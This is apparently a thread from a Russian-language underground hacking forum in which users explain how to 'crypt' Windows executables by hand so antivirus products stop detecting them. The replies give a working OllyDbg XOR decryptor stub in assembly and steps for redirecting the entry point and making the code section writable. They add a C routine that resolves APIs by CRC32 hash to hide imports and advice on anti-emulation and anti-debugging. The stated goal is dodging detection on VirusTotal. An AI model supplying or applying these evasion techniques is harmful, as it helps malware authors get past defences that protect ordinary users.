• XSS.stack #1 – первый литературный журнал от юзеров форума

Ручное криптование.

Chrek625

floppy-диск
Пользователь
Регистрация
16.12.2009
Сообщения
3
Реакции
0
Собственно вопрос.
Как криптовать руками файлы?
Вернее что нужно знать чтобы научиться ручному крупту и какой нужен софт?

Заранее извиняюсь если вопрос не уместен или не в тот раздел.
 
Софт, ну какой тут софт? От самописного до отладчиков и PE/HEX редакторов...

А чтоб покриптовать исполняемый файл, надо знать его формат. Изучайте документацию по PE COFF формату(если вам под виндовс).

А и "руками" врятли кто-то криптует, раньше секции дописывали, но с сегодняшним уровнем развития антивирусного ПО этого уже недостаточно, обычно просто пишут свой криптор.
 
вообще крипт "руками" очень муторное дело , те кто предлагает крипт руками в большинстве наверно делают уже готовые шаблоны кода для вставки - т.е. полуавтомат как минимум или автоматизируют этот процесс своими крипторами хотя я могу ошибаться , вообще для этого тебе нужны крепкие начальные знания асма, pe-формата и небольшой опыт работы например с olly (модификация инструкций).
Для начала можно попробовать просто в olly зашифровать часть кодовой секции своим шифровщиком / расшифровщиком, вот простейший вариант
Код:
MOV ECX,100; установка счетчика
PUSH EDX; сохранение регистра edx
PUSH ECX; сохранение регистра ecx
MOV EDX,[ECX+01006AE0]; помещение в edx декодируемого значения из памяти
XOR EDX,35; декодирование
MOV [ECX+01006AE0],EDX; запись декодированного кода на его место
POP ECX; восстановление регистра ecx
POP EDX; восстановление регистра edx
LOOP 01007DA8; операция цикла
PUSH 70; эта и следующая инструкции - такие же, как и первые
PUSH 01001888; две инструкции секции кода, которые мы затерли jmp’ом
JMP 01006AE7; переход к декодированному коду
В olly этим кодом зашифровать часть инструкции допустим в секции CODE - потом сохранить бинарник Copy to executable ->.... , поменять точку входа в екзешнике на наш уже расшифровщик в этом случае, поменять атрибуты секции code на RWE , ну вообщем простейший ксоровый крипт получиться, но им может получиться заткнуть половину/треть аверов на VT.
на измененную точку входа и аттрибуты кодовой секции RWE некоторые АВ будут ужасно материться
второй этап это динамический поиск api функций - на васме есть статейка,
вот такая функция будет полезна
Код:
FARPROC GetProcAddressCRC32(HMODULE hModule,DWORD ApiNameCRC32)
{
IMAGE_DOS_HEADER *lpModuleMZ;
IMAGE_NT_HEADERS *lpModulePE;
IMAGE_EXPORT_DIRECTORY *lpModuleExp;
DWORD *AddressOfNames;
 WORD *AddressOfNameOrdinals;
DWORD *AddressOfFunctions;
char *Name;
FARPROC Address;  //adresa funkcije
DWORD index;

if (hModule!=NULL)
{
	lpModuleMZ=(IMAGE_DOS_HEADER *)hModule;
	lpModulePE=(IMAGE_NT_HEADERS *)((DWORD)lpModuleMZ+lpModuleMZ->e_lfanew);
	lpModuleExp=(IMAGE_EXPORT_DIRECTORY*) ((DWORD)lpModuleMZ+lpModulePE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	AddressOfNames=(DWORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfNames);
	AddressOfNameOrdinals=(WORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfNameOrdinals);
	AddressOfFunctions=(DWORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfFunctions);

	for (index=0;index<lpModuleExp->NumberOfNames;index++)
	{
  Name=(char*)((DWORD)lpModuleMZ+AddressOfNames[index]);
  if (Str2CRC32(Name)==ApiNameCRC32) 
  {	
  	index=AddressOfNameOrdinals[index];	//new index
  	Address=(FARPROC)((DWORD)lpModuleMZ+AddressOfFunctions[index]);
  	return Address;
  }

	}
}

return NULL;
}
ну и потом добавление антиэмуль и антиотладочных фич.
если неохота глубоко изучать асм, то компилируй код в студии а потом Binary Copy - Binary Paste когда в olly просматриваешь...
ну а там разбеершься при желании потмоу что дальше писать мне просто по-человечески влом :P
 
Вот несколько старых статей, но для обучения вполне подходящие, ИМХО
Изменение точки входа:
:zns5: Скачать|Download
Ручной пак файла:
:zns5: Скачать|Download
Добавление секции
:zns5: Скачать|Download

Надеюсь кому-нибудь будет полезным...
 
Подскажите по теме. Закриптовал файл. Палит только Битдефендер и Касперский. Спустя 2 недели начала палить Авира. Файл никуда больше не заливался. АВ-чек - платный сервис. Как это? 0-o
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх